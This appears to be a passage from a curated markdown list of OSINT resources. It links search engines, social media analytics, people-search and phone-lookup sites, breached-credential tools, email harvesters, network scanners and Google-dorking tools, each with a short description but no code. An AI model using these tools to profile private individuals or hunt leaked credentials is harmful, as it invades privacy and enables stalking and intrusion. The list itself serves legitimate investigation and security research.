* [All-in-One](https://all-io.net/) - All search engines in one
* [AllTheInternet](https://www.alltheinternet.com/) - All in one search engine
* [Etools](https://www.etools.ch/) - Search information retrieved from several data sources simultaneously
* [FaganFinder](https://www.faganfinder.com/) - Collection of tools to help you find anything online
* [Goofram](http://www.goofram.com) - Enhanced saerch engine
* [Myallsearch](http://www.myallsearch.com) - Enhanced saerch engine
* [Qwant](https://www.qwant.com/) - Enhanced saerch engine
* [Zapmeta](https://www.zapmeta.com/) - All web results
* [iZito](https://www.izito.com/) - Combine all search engines
#### National Search Engines
Localized search engines by country
* [Alleba (Philippines)](https://www.alleba.com/)
* [Baidu (China)](https://www.baidu.com/)
* [Eniro (Sweden)](https://www.eniro.se/)
* [Goo (Japan)](https://www.goo.ne.jp/)
* [Najdsi (Slovenia)](http://www.najdi.si)
* [Naver (South Korea)](https://www.naver.com/)
* [Onet.pl (Poland)](https://www.onet.pl/)
* [Orange (France)](https://www.orange.fr/portail)
* [Parseek (Iran)](https://www.parseek.com/)
* [SAPO (Portugal)](https://www.sapo.pt/)
* [Search.ch (Switzerland)](https://www.search.ch/)
* [Walla (Israel)](https://www.walla.co.il/)
* [Yandex (Russia)](https://yandex.com/)
#### Data Analytics
* [OpenRefine](https://github.com/OpenRefine) - Free & open source power tool for working with messy data and improving it.
* [Outwit](http://www.outwit.com) - Find, grab and organize all kinds of data and media from online sources.
* [Pown Recon](https://github.com/pownjs/recon) - Target reconnaissance framework powered by graph theory.
* [QuickCode](https://quickcode.io/) - Python and R data analysis environment.
* [ThreatCrowd](https://www.threatcrowd.org/) - Threat search engine
* [ThreatTracker](https://github.com/michael-yip/ThreatTracker) - Python based IOC tracker.
<hr>
<br>
### Source Code Search
Search by website source code
* [NerdyData](https://www.nerdydata.com/) - Search engine for source code.
* [SearchCode](https://searchcode.com) - Help find real world examples of functions, API's and libraries across 10+ sources
* [Grep App](https://grep.app/) - Search for source code across a half million git repos
<hr>
<br>
### Crypto OSINT
* [Bitcoin Abuse](https://www.bitcoinabuse.com/) - Database of wallets associated with ransomware, blackmailers and fraud.
* [Bitcoin Who's Who](https://bitcoinwhoswho.com/) - Database of known ID information from bitcoin addresses.
* [Blockchair](https://blockchair.com/) - Multiple blockchain explorer.
* [Wallet Explorer](https://www.walletexplorer.com/) - Finds all known associated bitcoin addresses from a single known address.
* [Orbit](https://github.com/s0md3v/Orbit) - Draws relationships between crypto wallets with recursive crawling of transaction history.
<hr>
<br>
### Government Record Search
* [Blackbook](https://www.blackbookonline.info/index.html) - Public Records Starting Point.
* [FOIA Search](https://www.foia.gov/search.html) - Government information request portal.
* [PACER](https://pacer.uscourts.gov/) - Public Access to Federal Court Records.
* [RECAP](https://www.courtlistener.com/recap/) - Free version of PACER. Includes browser extensions for Chrome & Firefox.
* [SSN Validator](https://www.ssnvalidator.com/index.aspx) - Confirms valid Social Security Numbers.
<hr>
<br>
### Social Media
* [Audiense](https://audiense.com/)
* [Blazent](https://www.blazent.com/)
* [Brandwatch](https://www.brandwatch.com)
* [Buffer](https://buffer.com)
* [Buzz sumo](https://buzzsumo.com/)
* [Geocreepy](http://www.geocreepy.com)
* [Geofeedia](https://geofeedia.com)
* [Hootsuite](https://www.hootsuite.com/)
* [Hashtatit](https://www.hashatit.com/)
* [Klear](https://klear.com/)
* [Kred](https://www.home.kred/)
* [SproutSocial](https://sproutsocial.com/)
* [Netvibes](https://www.netvibes.com/en)
* [OpinionCrawl](http://www.opinioncrawl.com)
* [Rival IQ](https://www.rivaliq.com)
* [RSS Social Analyzer](https://chrome.google.com/webstore/detail/rss-social-analyzer/ncmajlpbfckecekfamgfkmckbpihjfdn?hl=en)
* [SocialBakers](https://www.socialbakers.com/)
* [SociaBlade](http://socialblade.com)
* [Social DownORNot](http://social.downornot.com)
* [Social Searcher](https://www.social-searcher.com/)
* [Tagboard](https://tagboard.com)
* [Reputation Refinery](https://reputationrefinery.com/)
* [UVRX](http://www.uvrx.com/social.html)
* [Pushpin](https://github.com/DakotaNelson/pushpin-web) — Provides a web interface to keep track of geotagged social media activity
#### Twitter
* [Backtweets](http://backtweets.com)
* [Fake Follower Check](https://fakers.statuspeople.com)
* [First Tweet](https://ctrlq.org/first)
* [FirstTweet](https://about.twitter.com/#i_intelligence)
* [Foller.me](https://foller.me/)
* [FollowCheck](http://followcheck.com)
* [Followerwonk](https://followerwonk.com/)
* [GeoSocial Footprint](http://geosocialfootprint.com)
* [Geochirp](http://www.geochirp.com)
* [Gigatweeter](http://gigatweeter.com)
* [Ground Signal](https://www.groundsignal.com)
* [HappyGrumpy](https://www.happygrumpy.com)
* [Harvard TweetMap](http://worldmap.harvard.edu/tweetmap)
* [Hashtagify](https://hashtagify.me/)
* [Hashtags.org](https://www.hashtags.org/)
* [ManageFlitter](https://www.manageflitter.com/)
* [Mentionmapp](https://mentionmapp.com/)
* [OneMillionTweetMap](https://onemilliontweetmap.com/)
* [Rank Speed](https://rankspeed.com/)
* [Riffle](https://crowdriff.com/)
* [RiteTag](https://ritetag.com)
* [Schedule Warble](https://warble.co)
* [Sentiment140](http://www.twittersentiment.appspot.com)
* [Sleeping Time](http://sleepingtime.org)
* [Social Bearing](https://socialbearing.com/)
* [TruFan](https://www.trufan.io/)
* [Spoonbill](http://spoonbill.io)
* [TWUBS Twitter Chat](http://twubs.com/twitter-chats)
* [Tagdef](https://tagdef.com/en/)
* [Tinfoleak](https://tinfoleak.com)
* [Trends24](https://trends24.in/)
* [TrendsMap](https://www.trendsmap.com/)
* [TwChat](http://twchat.com)
* [Twazzup](http://new.twazzup.com/)
* [Tweet Tag](https://www.tweet-tag.com/)
* [TweetArchivist](http://www.tweetarchivist.com)
* [TweetDeck](https://tweetdeck.twitter.com/)
* [TweetMap](https://www.omnisci.com/demos/tweetmap)
* [TweetMap](http://worldmap.harvard.edu/tweetmap)
* [TweetPsych](http://tweetpsych.com)
* [TweetStats](http://www.tweetstats.com)
* [TweetTunnel](http://tweettunnel.com)
* [Tweetreach](https://tweetreach.com/)
* [Twellow](https://www.twellow.com/)
* [Tweriod](https://www.tweriod.com/)
* [Twiangulate](http://www.twiangulate.com/search/)
* [Twicsy](https://twicsy.com/)
* [Twilert](https://www.twilert.com/)
* [Twipho](http://www.twipho.net)
* [TwitRSS](https://twitrss.me)
* [Twitonomy](http://www.twitonomy.com)
* [Twitter Advanced Search](https://twitter.com/search-advanced?lang=en)
* [Twitter Audit](https://www.twitteraudit.com)
* [Twitter Chat Schedule](https://www.tweetreports.com/twitter-chat-schedule/)
* [Twitter Search](https://twitter.com/explore)
* [Twitterfall](https://twitterfall.com/)
* [burrrd.](https://burrrd.com)
* [doesfollow](https://doesfollow.com)
#### Facebook
* [Agora Pulse](https://barometer.agorapulse.com/home)
* [Commun.it](https://commun.it/)
* [ExtractFace](https://le-tools.com/)
* [Fanpage Karma](https://www.fanpagekarma.com/)
* [Facebook Search](https://www.facebook.com/help/821153694683665/)
* [Facebook Search Tool](https://netbootcamp.org/facebook.html)
* [FaceLIVE](https://www.facelive.org)
* [Fb-sleep-stats](https://github.com/sqren/fb-sleep-stats)
* [Find my Facebook ID](https://findmyfbid.in)
* [Lookup-ID.com](https://lookup-id.com)
* [SearchIsBack](https://searchisback.com)
* [Wallfux](https://clearinghouse.wallflux.com/)
* [Wolfram Alpha Facebook Report](https://www.wolframalpha.com/input/?i=facebook+report)
* [Zesty Facebook Search](http://zesty.ca/facebook/)
* [OsintStalker](https://github.com/milo2012/osintstalker) - Python script for Facebook and geolocation OSINT.
#### Instagram
* [Hashtagify](https://hashtagify.me/hashtag/wandavision)
* [Iconosquare](https://pro.iconosquare.com/)
* [Picodash](https://www.picodash.com)
* [SnapMap](https://snapmap.knightlab.com/)
* [Social Rank](https://socialrank.com/)
* [Worldcam](http://worldc.am)
#### Pinterest
* [Pingroupie](https://pingroupie.com/)
#### Reddit
Tools to help discover more about a reddit user or subreddit
* [Imgur](https://imgur.com/search) - The most popular image hosting website used by redditors.
* [Mostly Harmless](http://kerrick.github.io/Mostly-Harmless/#features) - Mostly Harmless looks up the page you are currently viewing to see if it has been submitted to reddit.
* [Reddit Archive](https://www.redditinvestigator.com/) - Historical archives of reddit posts.
* [Reddit Comment Search](https://redditcommentsearch.com/) - Analyze a reddit users by comment history.
* [Reddit Investigator](http://www.redditinvestigator.com) - Investigate a reddit users history.
* [Reddit Suite](https://chrome.google.com/webstore/detail/reddit-enhancement-suite/kbmfpngjjgdllneeigpgjifpgocmfgmb) - Enhances your reddit experience.
* [Reddit User Analyser](https://atomiks.github.io/reddit-user-analyser/) - reddit user account analyzer.
* [Subreddits](http://subreddits.org) - Discover new subreddits.
#### GitHub
- Octosuite — Gather OSINT on GitHub users
* [Github-dorks](https://github.com/techgaun/github-dorks) - CLI tool to scan github repos/organizations for potential sensitive information leak.
* [Zen](https://github.com/s0md3v/Zen) - Find email addresses of Github users.
#### LinkedIn
* [Raven](https://github.com/0x09AL/raven) - LinkedIn information gathering tool.
#### VKontakte (Russian) Search
Perform various OSINT on Russian social media site VKontakte
* [Barkov.net](https://vk.barkov.net/)
* [Report Tree](http://dcpu.ru/vk_repost_tree.php)
* [Snradar](http://snradar.azurewebsites.net) - Search pictures by time and location they were taken
* [Social Stats](http://socialstats.ru)
* [Target Hunter](https://targethunter.ru/)
* [Target Log](https://targetolog.com/)
* [VK Community Search](https://vk.com/communities)
* [VK Parser](http://vkparser.ru) - A tool to search for a target audience and potential customers.
* [VK People Search](https://vk.com/people)
* [VK to RSS Appspot](http://vk-to-rss.appspot.com/)
* [VK5](http://vk5.city4me.com)
* [Дезертир](https://vk.com/app3046467)
<hr>
<br>
### Credentials
* [Check User Names](https://checkusernames.com/)
* [Knowem](https://knowem.com/) - Search for a username on over 500 popular social networks.
* [Linkedin2Username](https://gitlab.com/initstring/linkedin2username) - Web scraper that uses valid LinkedIn credentials to put together a list of employees for a specified company.
* [Name Checkr](https://www.namecheckr.com/)
* [Name Checkup](https://namecheckup.com)
* [Name Chk](https://www.namechk.com/)
* [User Search](https://usersearch.org/index.php)
#### Breached Credentials
* [breach-parse](https://github.com/hmaverickadams/breach-parse): Tool for parsing breached passwords
* [emagnet](https://github.com/wuseman/EMAGNET) - Automated hacking tool that will find leaked databases.
<hr>
<br>
### Email
* [BriteVerify Email Verification](https://www.validity.com/products/briteverify/email-list-verification/)
* [Datasploit](https://github.com/DataSploit/datasploit) - Tool to perform various OSINT techniques on usernames, emails addresses, and domains.
* [Email Address Validator](https://www.email-validator.net/)
* [Email Format](https://www.email-format.com/)
* [Email Permutator+](http://metricsparrow.com/toolkit/email-permutator)
* [EmailHippo](https://tools.verifyemailaddress.io)
* [EmailSearch.net](http://www.email-search.org/search-emails/)
* [FindEmails.com](https://www.findemails.com/)
* [Have I Been Pwned](https://haveibeenpwned.com) - Search across multiple data breaches to see if your email address has been compromised.
* [Hunter](https://hunter.io) - Hunter lets you find email addresses in seconds and connect with the people that matter for your business.
* [MOSINT] - OSINT Tool For Emails
* [MailSniper](https://github.com/dafthack/MailSniper) — Searches through email in a Microsoft Exchange environment for specific terms
* [MailTester](https://mailtester.com/en/single-email-verification)
* [MyCleanList](https://www.mycleanlist.com/)
* [Peepmail](http://www.samy.pl/peepmail)
* [Pipl](https://pipl.com)
* [ReversePhoneCheck](https://www.reversephonecheck.com/)
* [ThatsThem](https://thatsthem.com/reverse-email-lookup)
* [Verify Email](https://verify-email.org/)
* [VoilaNorbert](https://www.voilanorbert.com) - Find anyone's contact information for lead research or talent acquisition.
* [Zen](https://github.com/s0md3v/Zen) - Find email addresses of Github users.
* [h8mail](https://github.com/khast3x/h8mail) - Password Breach Hunting and Email OSINT, locally or using premium services. Supports chasing down related email
* [theHarvester](https://github.com/laramies/theHarvester) - E-mail, subdomain and people names harvester.
<hr>
<br>
### Personal Investigations
* [192 (UK)](https://www.192.com/)
* [411 (US)](https://www.411.com/)
* [Alumni.net](https://www.alumni.net/)
* [Ancestry](https://www.ancestry.com/)
* [Been Verified](https://www.beenverified.com/) - Good accuracy, paid person search.
* [CVGadget](https://www.cvgadget.com/)
* [Canada411](https://www.canada411.ca/)
* [Cedar](https://cedar.buffalo.edu/AdServ/person-search.html)
* [Charlie App](https://www.detective.io/)
* [Classmates](https://www.classmates.com/)
* [CrunchBase](https://www.crunchbase.com/)
* [Data 24-7](https://www.data247.com/)
* [Family Search](https://www.familysearch.org/en/)
* [Family Tree Now](https://www.familytreenow.com/)
* [Federal Bureau of Prisons Inmate Locator (US)](https://www.bop.gov/inmateloc/) - Find an inmate that's in Federal prisons
* [Fold3 (US Military Records)](https://www.fold3.com/) - Browse records of US Military members.
* [Genealogy Bank](https://www.genealogybank.com/)
* [Genealogy Links](https://www.genealogylinks.net/)
* [Go Find Who](https://gofindwho.com/) - Multiple handy search tools.
* [Homemetry](https://homemetry.com)
* [Infobel](https://www.infobel.com/)
* [Infospace White Pages](https://infospace.com/home/white-pages)
* [Interment](http://www.interment.net/data/search.htm)
* [International White and Yellow Pages](http://www.wayp.com)
* [Itools](http://itools.com/search/people-search)
* [Kompass](https://us.kompass.com/)
* [Locate Family](https://www.locatefamily.com/) - Basicly a worldwide phonebook that can be manually searched. This site shows up as results on google.com so searches based on name, address, or phone number.
* [LookUpUK](http://www.lookupuk.com/main.html)
* [Lullar](https://com.lullar.com/)
* [MelissaDATA](https://www.melissa.com/v2/lookups/)
* [My Life People Search](https://www.mylife.com/reverse-people-search)
* [My Life](https://www.mylife.com/) - Paid people search with lots of results.
* [PeekYou](https://www.peekyou.com/)
* [People Search (Australia)](https://www.peoplesearch.com.au/)
* [PeopleSearch.net](http://www.peoplesearch.net)
* [Pipl](https://pipl.com)
* [Rapportive](https://business.linkedin.com/sales-solutions)
* [RecordsPedia](http://recordspedia.com)
* [Recruitem](http://recruitin.net)
* [Reunion](https://www.reunion.com/)
* [Rootsweb](https://home.rootsweb.com/)
* [SearchBug](https://www.searchbug.com/)
* [Skip Ease](https://www.skipease.com/)
* [SnoopStation](https://snoopstation.com/)
* [Sowdust Facebook Search](https://sowdust.github.io/fb-search/) - Facebook search tool.
* [Spokeo](https://www.spokeo.com/)
* [That's Them](https://thatsthem.com/) - Good accuracy, paid person search.
* [The National Archives (UK)](https://www.nationalarchives.gov.uk/)
* [USSearch](https://www.ussearch.com/)
* [WebMiii](https://webmii.com/)
* [White Pages (US)](https://www.whitepages.com/)
* [Wink](http://itools.com/tool/wink-people-search)
* [Yasni](http://www.yasni.com)
* [Zabasearch](https://www.zabasearch.com/)
* [Zoominfo](https://www.zoominfo.com/)
* [facesearch](http://facesaerch.com) - Search for images of a person by name.
* [snitch.name](http://www.snitch.name)
* [theHarvester](https://github.com/laramies/theHarvester) - E-mail, subdomain and people names harvester.
<hr>
<br>
### Phone Numbers
* [National Cellular Directory](https://www.nationalcellulardirectory.com/) - Cell phone lookups. The lookup products including billions of records
* [Reverse Phone Lookup](https://www.reversephonelookup.com/) - Detailed information about phone carrier, region, service provider, and switch information.
* [Spy Dialer](https://spydialer.com/default.aspx) - Get the voicemail of a cell phone & owner name lookup.
* [Twilio](https://www.twilio.com/lookup) - Look up a phone numbers carrier type, location, etc.
* [Phone Validator](https://www.phonevalidator.com/index.aspx) - Pretty accurate phone lookup service, particularly good against Google Voice numbers.
<hr>
<br>
### Company Research
* [AllStocksLinks](http://www.allstocks.com/links)
* [Battle of the Internet Giants](https://influencermarketinghub.com/battle-of-internet-giants)
* [Better Business Bureau](https://www.bbb.org/)
* [Bizeurope](http://www.bizeurope.com)
* [Bloomberg](https://www.bloomberg.com/markets/stocks)
* [Business Source](https://www.ebsco.com/products/research-databases/business-source-complete)
* [Bureau Van Dijk](https://www.bvdinfo.com/en-gb/)
* [Canadian Business Research](https://www.canada.ca/en/services/business/research.html)
* [Canadian Business Resource](http://www.cbr.ca)
* [Central and Eastern European Business Directory](https://globaledge.msu.edu/global-resources/resource/1274)
* [Company Registration Round the World](https://www.sg.ch/recht/handelsregister-notariate.html)
* [Company Research Resources by Country Comparably](https://www.comparably.com)
* [CompeteShark](https://competeshark.com/)
* [Corporate Information](https://www.corporateinformation.com/)
* [CrunchBase](https://www.crunchbase.com)
* [EDGAR Online](https://www.dfinsolutions.com/products/edgar-online)
* [Europages](https://www.europages.co.uk/)
* [European Business Register](https://ebra.be/)
* [Ezilon](http://www.ezilon.com)
* [Factiva](https://global.factiva.com)
* [Glassdoor](https://www.glassdoor.com/index.htm)
* [globalEdge](https://globaledge.msu.edu/)
* [GuideStar](https://www.guidestar.org/)
* [Hoovers](https://www.dnb.com/products/marketing-sales/dnb-hoovers.html)
* [Inc. 5000](https://www.inc.com/inc5000)
* [InstantLogoSearch](http://instantlogosearch.com)
* [iSpionage](https://www.ispionage.com/)
* [Knowledge guide to international company registration](https://www.icaew.com/library/subject-gateways/business-management/knowledge-guide-international-company-registration)
* [Linkedin](https://www.linkedin.com)
* [National Company Registers](https://en.wikipedia.org/wiki/List_of_official_business_registers)
* [Mergent Intellect](https://www.mergentintellect.com/)
* [Mergent Online](https://www.mergentonline.com/login.php)
* [Morningstar Research](http://library.morningstar.com)
* [Notablist](https://www.notablist.com)
* [Orbis directory](https://orbisdirectory.bvdinfo.com/version-20181213/OrbisDirectory/Companies/Login)
* [opencorporates](https://opencorporates.com)
* [Owler](https://corp.owler.com/)
* [Overseas Company Registers](https://www.gov.uk/government/publications/overseas-registries/overseas-registries)
* [Plunkett Research](http://www.plunkettresearchonline.com/Login.aspx)
* [Scoot](https://www.scoot.co.uk/)
* [SEMrush](https://www.semrush.com)
* [Serpstat](https://serpstat.com)
* [SpyFu](https://www.spyfu.com/)
* [Forbes Global 2000](https://www.forbes.com/global2000/)
* [Vault](https://www.vault.com/)
* [Xing](https://www.xing.com/)
<br>
<hr>
### Location
* [Creepy](https://github.com/ilektrojohn/creepy) - Geolocation OSINT tool.
* [OsintStalker](https://github.com/milo2012/osintstalker) - Python script for Facebook and geolocation OSINT.
* [Infosniper](https://www.infosniper.net/)
* [IP Location](https://www.iplocation.net/)
* [IP 2 Geolocation](http://ip2geolocation.com)
* [IP 2 Location](http://www.ip2location.com/demo.aspx)
* [IP Fingerprints](https://www.ipfingerprints.com/)
#### Wireless
* [ExifLooter](https://github.com/aydinnyunus/exifLooter) - Find geolocation on image URL and directories
* [Mozilla Stumbler](https://location.services.mozilla.com/)
* [Open Wifi Map](openwifimap.net)
* [WiGLE](https://wigle.net/) - Find wireless networks
#### Satellite Images
* [Bhuvan Indian Geo-Platform of ISRO](https://bhuvan-app3.nrsc.gov.in/data/download/index.php)
* [DigitalGlobe Open Data Program](https://www.maxar.com/open-data)
* [Geo-Airbus Defense](https://www.intelligence-airbusds.com/)
* [JAXA’s Global ALOS 3D World](https://www.eorc.jaxa.jp/ALOS/en/dataset/aw3d_e.htm)
* [NASA Earthdata Search](https://search.earthdata.nasa.gov/search)
* [NASA Worldview](https://www.intelligence-airbusds.com/)
* [NOAA CLASS](https://www.avl.class.noaa.gov/saa/products/welcome;jsessionid=17337A27F6C7E8333F05035A18C26DA6)
* [NOAA Data Access Viewer](https://coast.noaa.gov/dataviewer/#/)
* [NOAA Digital Coast](https://coast.noaa.gov/digitalcoast/)
* [National Institute for Space Research (INPE)](https://landsat.usgs.gov/CUB)
* [Sentinel Open Access Hub](https://scihub.copernicus.eu/dhus/#/home)
* [USGS Earth Explorer](https://earthexplorer.usgs.gov/)
* [VITO Vision](https://www.vito-eodata.be/PDF/portal/Application.html#Home)
<hr>
<br>
### Image Search
* [GeoTag](https://vsudo.net/tools/geotag) — Discover location of pictures
* [Sherloq](https://github.com/GuidoBartoli/sherloq) — Open source forensic image analysis
* [exitLooter](https://github.com/aydinnyunus/exifLooter) - Find geolocation on image URL and directories
* [Baidu Images](https://image.baidu.com/)
* [Bing Images](https://www.bing.com/images/)
* [Flickr](https://flickr.com/)
* [Google Image](https://images.google.com)
* [Gramfeed](http://www.gramfeed.com/)
* [Image Identification Project](https://www.imageidentify.com/)
* [Image Raider](https://infringement.report/api/raider-reverse-image-search/)
* [KarmaDecay](http://karmadecay.com/)
* [Lycos Image Search](https://search.lycos.com/)
* [PhotoBucket](https://app.photobucket.com/explore)
* [PicTriev](http://www.pictriev.com/)
* [Picsearch](https://www.picsearch.com/)
* [TinEye](https://tineye.com) - Reverse image search engine.
* [Websta](https://websta.me/)
* [Worldcam](http://www.worldc.am)
* [Yahoo Image Search](https://images.search.yahoo.com)
* [Yandex Images](https://www.yandex.com/images)
<hr>
<br>
### Dorking
* [BlogSearchEngine](http://www.blogsearchengine.org)
* [Catana-DS](https://github.com/TebbaaX/Katana) — Automates Google Dorking
* [GooDork](https://github.com/k3170makan/GooDork) - Command line Google dorking tool.
* [Google Adwords](https://ads.google.com/home/#!/) - Get monthly keyword volume data and stats.
* [Google Hacking Database](https://www.exploit-db.com/google-hacking-database) - Database of Google dorks; can be used for recon.
* [Google Hacking Master List](https://gist.github.com/cmartinbaughman/5877945)
* [Google Trends](https://trends.google.com/trends/?geo=US) - See how many users are searching for specific keywords.
* [Keyword Discovery](https://www.keyworddiscovery.com/)
* [KeywordTool](https://keywordtool.io/)
* [Keyword Spy](https://www.keywordspy.com/)
* [Notey](https://www.notey.com/) - Blog post search engine.
* [Outbrain](https://www.outbrain.com/publishers/)
* [One Look Reverse Dictionary](https://www.onelook.com/reverse-dictionary.shtml)
* [Soovle](https://soovle.com/)
* [Twingly](https://www.twingly.com/)
* [Ubersuggest](https://neilpatel.com/ubersuggest/)
* [Dorksearch](https://dorksearch.com/) — Faster Google Dorking
* [GitHub Dork Helper](https://vsec7.github.io/)
* [Dork-cli](https://github.com/jgor/dork-cli) - Command line Google dork tool.
* [PaGoDo](https://github.com/opsdisk/pagodo) - Passive, automated Google dorking tool.
* [Word Tracker](https://www.wordtracker.com/)
#### Document & Slides Search
Search for data located on PDFs, Word documents, presentation slides, and more
* [Authorstream](http://www.authorstream.com)
* [Find-pdf-doc](http://www.findpdfdoc.com)
* [Free Full PDF](http://www.freefullpdf.com)
* [Offshore Leak Database](https://offshoreleaks.icij.org)
* [PDF Search Engine](http://www.pdfsearchengine.info)
* [RECAP](https://www.courtlistener.com/recap/)
* [Scribd](https://www.scribd.com/)
* [SlideShare](https://www.slideshare.net/)
* [Slideworld](http://www.slideworld.com)
* [soPDF.com](http://www.sopdf.com)
<hr>
<br>
### Web History
* [Archive.is](https://archive.is/)
* [BlackWidow](https://softbytelabs.com/wp/blackwidow/)
* [CachedView](https://cachedview.com/)
* [CashedPages](http://www.cachedpages.com)
* [DNS History](http://dnshistory.org/) - DNS) Historical Record Archive
* [DomainTools](https://account.domaintools.com/log-in/)
* [Wayback Machine Archiver](https://github.com/jsvine/waybackpack)
* [Wayback Machine](https://archive.org/web/web.php) - Explore the history of a website.
<hr>
<br>
### Web Monitoring
* [Alltop](https://alltop.com/)
* [Awasu](https://awasu.com/)
* [Bridge.Leslibres](https://bridge.leslibres.org/)
* [Bridge.Suumitsu](https://bridge.suumitsu.eu/)
* [ChangeDetect](https://www.changedetect.com/)
* [Deltafeed](https://bitreading.com/deltafeed/)
* [Feed43](https://feed43.com/)
* [FeedBooster](https://www.qsensei.com/)
* [Feed Exileed](http://feed.exileed.com/)
* [Feed Filter Maker](https://feed.janicek.co/)
* [Feedly](https://feedly.com/)
* [FeedReader](https://www.feedreader.com/)
* [FetchRSS](https://fetchrss.com/)
* [Flipboard](https://flipboard.com/)
* [FollowThatPage](https://www.followthatpage.com/)
* [Google Alerts](https://www.google.com/alerts) - A content change detection and notification service.
* [InfoMinder](https://app.infominder.com/webminder/)
* [Mention](https://mention.com/en/)
* [Netvibes](https://www.netvibes.com/en)
* [Newsblur](https://newsblur.com/)
* [OmeaReader](https://www.jetbrains.com/omea/reader/)
* [OnWebChange](https://onwebchange.com/)
* [Reeder](https://reederapp.com/)
* [RSS Bridge](https://bridge.suumitsu.eu)
* [RSS Feed Reader](https://chrome.google.com/webstore/detail/rss-feed-reader/pnjaodmkngahhkoihejjehlcdlnohgmp)
* [RSS Micro](http://www.rssmicro.com/)
* [RSS Search Engine](https://ctrlq.org/rss/)
* [RSS Search Hub](https://www.rsssearchhub.com/)
* [RSSOwl](https://www.rssowl.org/)
* [Selfoss](https://selfoss.aditu.de/)
* [Silobreaker](https://www.silobreaker.com/)
* [Talkwalker](https://www.talkwalker.com/)
* [The Old Reader](https://theoldreader.com/home)
* [versionista](https://versionista.com/)
* [visualping](https://visualping.io)
* [WebSite Watcher](https://www.aignes.com/index.htm)
* [Winds](https://winds.getstream.io/create-account)
<hr>
<br>
### Social Network Analysis
* [Gephi](https://gephi.org)
* [ORA](http://www.casos.cs.cmu.edu/projects/ora/software.php)
* [Sentinel Visualizer](https://fmsasg.com/)
* [Visual Investigative Scenarios](https://vis.occrp.org)
* [Wynyard Group](https://www.wynyardgroup.com/)
<hr>
<br>
### Network Recon Tools
* [ACLight](https://github.com/cyberark/ACLight) - Script for advanced discovery of sensitive Privileged Accounts - includes Shadow Admins.
* [BuiltWith](https://builtwith.com/) - Technology lookup tool for websites.
* [CloudFail](https://github.com/m0rtem/CloudFail) - Unmask server IP addresses hidden behind Cloudflare by searching old database records and detecting misconfigured DNS.
* [LdapMiner](https://sourceforge.net/projects/ldapminer/) - Multiplatform LDAP enumeration utility.
* [Mass Scan](https://github.com/robertdavidgraham/masscan) - TCP port scanner, spews SYN packets asynchronously, scanning entire Internet in under 5 minutes.
* [Netdiscover](https://github.com/alexxy/netdiscover) - Simple and quick network scanning tool.
* [Pentest-Tools](https://pentest-tools.com/home) - Online suite of various different pentest related tools.
* [Ruler](https://github.com/sensepost/ruler) - Tool for remotely interacting with Exchange servers.
* [Shodan](https://www.shodan.io/) - Database containing information on all accessible domains on the internet obtained from passive scanning.
* [Spyse](https://spyse.com/) - Web research services that scan the entire internet using OSINT, to simplify the investigation of infrastructure and attack surfaces.
* [Spyse.py](https://github.com/zeropwn/spyse.py) - Python API wrapper and command-line client for the tools hosted on spyse.com.
* [Sublist3r](https://github.com/aboul3la/Sublist3r) - Subdomain enumeration tool for penetration testers.
* [ldapsearch](https://linux.die.net/man/1/ldapsearch) - Linux command line utility for querying LDAP servers.
* [nmap](https://nmap.org/) - Free security scanner for network exploration & security audits.
* [pyShodan](https://github.com/GoVanguard/pyShodan) - Python 3 script for interacting with Shodan API (requires valid API key).
* [smbmap](https://github.com/ShawnDEvans/smbmap) - Handy SMB enumeration tool.
* [xprobe2](https://linux.die.net/man/1/xprobe2) - Open source operating system fingerprinting tool.
* [zmap](https://zmap.io/) - Open source network scanner that enables researchers to easily perform Internet-wide network studies.
<hr>
<br>
### Domain
* [Ahrefs](https://ahrefs.com) - A tool for backlink research, organic traffic research, keyword research, content marketing & more.
* [Amass](https://github.com/caffix/amass) - Performs network mapping of attack surfaces and external asset discovery using open source information gathering and active reconnaissance techniques.
* [Backlink Discovery](https://app.neilpatel.com/en/seo_analyzer/backlinks) — Find backlinks, Referring domains, Link history, etc.
* [Central Ops](https://centralops.net/co/)
* [Datasploit](https://github.com/DataSploit/datasploit) - Tool to perform various OSINT techniques on usernames, emails addresses, and domains.
* [Domain Dossier](https://centralops.net/co/DomainDossier.aspx)
* [Domain Investigation Toolbox](https://cipher387.github.io/domain_investigation_toolbox/) — Gather information about the target domain name
* [Domain Tools](https://whois.domaintools.com/) - Whois lookup and domain/ip historical data.
* [Easy whois](https://www.easywhois.com)
* [Exonera Tor](https://metrics.torproject.org/exonerator.html) - A database of IP addresses that have been part of the Tor network. It answers the question whether there was a Tor relay running on a given IP address on a given date.
* [FindFrontableDomains](https://github.com/rvrsh3ll/FindFrontableDomains) - Multithreaded tool for finding frontable domains.
* [GooFuzz](https://github.com/m3n0sd0n4ld/GooFuzz) — Perform fuzzing with an OSINT approach, managing to enumerate directories, files, subdomains or parameters without leaving evidence on the target's server and by means of advanced Google searches
* [HaxUnit](https://github.com/Bandit-HaxUnit/haxunit) — Combines multiple active/passive subdomain enumeration tools and port scanning
* [IP Address.com](https://www.ipaddress.com/)
* [IP Neighboring](https://www.ip-neighbors.com/) — Discover Neighboring IP Hosts
* [IP Void](https://www.ipvoid.com/)
* [InfoByIp](https://www.infobyip.com/ipbulklookup.php) - Domain and IP bulk lookup tool.
* [Investigator](https://abhijithb200.github.io/investigator/) — Quickly check & gather information about the target domain name
* [Link-JS](https://github.com/ethicalhackingplayground/linkJS) — Fetch links from JS w/ Subfinder
* [Meg](https://github.com/tomnomnom/meg) - Quickly find hidden paths/directories without flooding traffic
* [Squatm3gator](https://github.com/david3107/squatm3gator) - Enumerate available domains generated modifying the original domain name through different cybersquatting techniques
* [Verisign](https://dnssec-analyzer.verisignlabs.com/)
* [Website Informer](https://website.informer.com/)
* [w3snoop](https://webboar.com.w3snoop.com/)
#### Blacklisting
* [AbuseIPDB](https://www.abuseipdb.com/) - Search engine for blacklisted IPs or domains.
* [AutoShun](https://riskanalytics.com/community/) - Public repository of malicious IPs and other resources.
* [BadIPs](https://www.badips.com/) - Online blacklist lookup.
* [Binary Defense IP Ban List](https://www.binarydefense.com/banlist.txt) - Public IP blacklist.
* [Blocklist Ipsets](https://github.com/firehol/blocklist-ipsets) - Public IP blacklist.
* [Malc0de DNSSinkhole](http://malc0de.com/bl/) - List of domains that have been identified as distributing malware during the past 30 days.
* [Spamcop](https://www.spamcop.net/bl.shtml) - IP based blacklist.
* [Spamhaus](https://www.spamhaus.org/lookup/) - Online blacklist lookup.
#### URL
* [Assetfinder](https://github.com/tomnomnom/assetfinder): Find domains and subdomains potentially related to a given domain
* [Astra](https://github.com/Sachin-v3rma/Astra) — Finds API keys, URLs, AWS Buckets, etc.
